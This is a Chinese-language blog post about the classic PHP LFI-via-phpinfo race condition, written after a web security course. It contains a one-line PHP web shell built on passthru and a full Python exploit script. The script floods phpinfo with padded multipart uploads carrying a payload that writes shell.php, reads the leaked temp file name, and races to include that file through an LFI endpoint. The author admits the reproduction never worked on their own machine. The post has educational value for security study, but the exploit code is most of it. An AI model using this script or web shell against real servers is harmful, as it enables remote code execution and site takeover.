快轉到主要內容

phpinfo,打開 LFI 的潘朵拉盒 (Error)

·
PHP
貝坦betan
作者
貝坦betan
其實作者也只會是我啦哈哈
據說是一個php上的經典老洞(?

前前言
#

由於自己電腦環境一直無法順利執行成功,因此最後就放棄此漏洞的實作,
但文章打都打了,不發也是白打,
應該是我自己電腦的問題,歡迎大家也去嘗試看看能否成功,
或是來私訊跟我討論,謝謝大家。

前言
#

有幸參與了台灣好厲駭邀請業界知名大神 orange 所舉辦的Web Security 輕鬆談,本次課程真的受益許多,真的很推薦所有有參加台灣好厲駭的都可以去報名,好去愛去 明年還去(X

總之在課程中有提到在php中有個LFI的漏洞,在聽完敘述還有稍微實際操作後感到滿有興趣的,因此想說課後要來自己實際操作一次該漏洞,於是就有本篇了
本次一樣有將復現內容放在我個人的github上,歡迎大家一起跟著實際操作看看

Betan423/LFI-With-PHPInfo-PoC

null
0
0

漏洞介紹
#

在 php 的配置文件中,預設了一項 file_uploads = on ,而該設定則會導致一個神奇的特性
即使在頁面中,沒有設有接收輸入值的部分,例如單純的 phpinfo() 介面,
但如果仍發送內容過去, php 並不會無視這些內容,而是會將其作為暫存檔儲存,
直到整個要求完整跑完後,若都沒有存取到剛剛輸入的內容,則才會將剛剛傳入的內容刪除。

如果只是這樣還沒有太大的問題,因為暫存檔的檔名都是隨機產生的,
(例如在Windows中的型式是php****.tmp)

但在 phpinfo 中,卻會顯示出所有接受到的值,並將他們的資訊都列出來,
(例如檔名、路徑等,下方復現的部分有例圖)
也因此就會導致先前傳送的暫存檔檔名leak,
而我們這時就能透過LFI的漏洞去存取到剛剛傳入的惡意payload,
最後以此來達到RCE的效果。

復現
#

復現邏輯
#

我們透過向伺服器傳送一個其中帶有惡意 payload 的 request ,
並且在該 request 中添加大量的A來 padding ,用意是為了讓網頁處理該封包時速度變慢,
因為我們上述有提到說在該要求運行結束後,若是沒有存取到剛剛傳入的內容,則會將其刪掉,
因此我們透過填充大量字元,來減緩伺服器處理該封包的速度,以便讓我們來得及去存取剛才傳入的 payload ,
最後透過LFI漏洞來存取剛剛輸入的 payload ,即可順利 RCE 。

暫存檔
#

我們一開始先透過 burp suite ,在 phpinfo的介面中隨便發送一個內容,
(記得將 http request 改成 POST)

在該頁面中,是沒有任何會接收輸入值的內容,
但我們透過查詢 phpinfo 介面,
卻會發現他仍然有將我們剛剛所傳送的內容,
保存在 php87F2.tmp 中。

該暫存檔具體內容真的是剛剛所傳送的內容嗎?
我們這邊寫一個腳本來查看該暫存檔,
可以發現到,其中真的就是我們剛剛所輸入的test
(腳本有時候會抓不到tmp檔,多試幾次就可以了)

不知道各位看到這裡會不會好奇一件事,
直接去存取tmp檔案就能順利執行惡意代碼了嗎?
因此我們這邊先來做個小實驗,透過在伺服器同目錄下建立一個 phpTEST.tmp
並將其中內容建立為簡單的 php 的 web shell,

<?php passthru($_GET["f"]);?>

而實際去存取該檔案可以看到,已經是順利執行 web shell 的內容了,
也因此我們後續如果成功將 web shell 寫入暫存檔後,只需要直接去存取該檔案就能順利運行了。

LFI to RCE
#

我們透過 socket 來不斷對 phpinfo 發送大量封包,以達到減緩伺服器刪除tmp檔案速度,
並在讀取送回內容時進行快速讀取,
以便在查找到 tmp 檔的第一時間就透過 LFI 漏洞去存取該 web shell, 最終就成功順利植入 web shell。

在 github repo 中,ans001ans002 為別人撰寫的 poc 腳本,可以一起嘗試看看是否能順利運行。

import socket
import threading



# 設定request
def setup(host,port):

    padding = "A" * 5000
    TAG = "Security Test"
    PAYLOAD = """%s\r
<?php $c=fopen('shell.php','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    
    # 請求的正文部分
    body = f"""
------WebKitFormBoundaryfHfyAsoxPPUAHIAj\r
Content-Disposition: form-data; name="file"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{PAYLOAD} \r
------WebKitFormBoundaryfHfyAsoxPPUAHIAj--\r
    """

    # 計算 Content-Length
    content_length = len(body)

    # 組建 HTTP Request
    TMPrequest = f"""POST /phpinfo.php?a=test.txt HTTP/1.1
Host: {host}:{port}
Content-Length: {content_length}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfHfyAsoxPPUAHIAj
Connection: keep-alive
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}
Cache-Control: {padding}
Accept-Language: {padding}
Upgrade-Insecure-Requests: {padding}
User-Agent: {padding}
Accept: {padding}

{body}"""


    LFIrequest = """
GET /lfi.php?file=%s HTTP/1.1
Host: 192.168.56.1:8000
User-Agent: Mozilla/4.0
Proxy-Connection: Keep-Alive

"""


    return(TMPrequest , TAG , LFIrequest)

#找出tmp的偏移
def offset(request,host,port):
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((host, port))
    client_socket.send(request.encode('utf-8'))
    response = b""
    while True:
        chunk = client_socket.recv(4096)
        if not chunk:
            break
        response += chunk
    client_socket.close()
    
    i = response.find(b"[tmp_name] =&gt")
    if i == -1:
        raise ValueError ("no tmp file")
        
    print ("find tmp in %s",i)
        
    tmp_name = response[i:i+100]

    start = tmp_name.find(b'&gt;') +5 +i
    end = tmp_name.find(b'.tmp') +4 +i

    i += 255
    print(end-start)
    return(start,end)



def LFI(LFIrequest,request,start,end,host,port,TAG):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2.connect((host, port))

    s.send(request.encode('utf-8'))
    d = ""
    while (len(d)<end):
        d += s.recv(end).decode('utf-8')
    
    fn = d[start:end]

    s2.send((LFIrequest % str(fn)).encode('utf-8'))

    response = s2.recv(4096)
    response = s2.recv(4096)

    s.close()
    s2.close()
    
    if response.decode('utf-8').find(TAG) !=-1:
        return fn
        
counter = 0

class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1
            try:
                x = LFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\nGot it! Shell created in /tmp/g")
                    self.event.set()
            except socket.error:
                return



def main():

    host = '127.0.0.1'
    port = 80

    TMPrequest , tag , LFIrequest =setup(host,port)
    start , end = offset(TMPrequest,host,port)




    # LFI(LFIrequest, TMPrequest, start, end, host, port, tag)

    maxattempts = 1000
    poolsz = 20
    e = threading.Event()
    l = threading.Lock()
    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts,  LFIrequest, TMPrequest, start, end, host, port, tag))
                #                                   def LFI(LFIrequest,request,start,end,host,port,TAG):

    
    for t in tp:
        t.start()

    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                print("\r% 4d / % 4d" % (counter, maxattempts))
            if counter >= maxattempts:
                break
        print()
        if e.is_set():
            print("Woot!")
        else:
            print(":(")
    except KeyboardInterrupt:
        print("\nTelling threads to shutdown...")
        e.set()


if __name__ == "__main__":
    main()

參考資料
#

LFI WITH PHPINFO() ASSISTANCE

gitee twfb/LFI-With-PHPInfo-Assitance

github roughiz/lfito_rce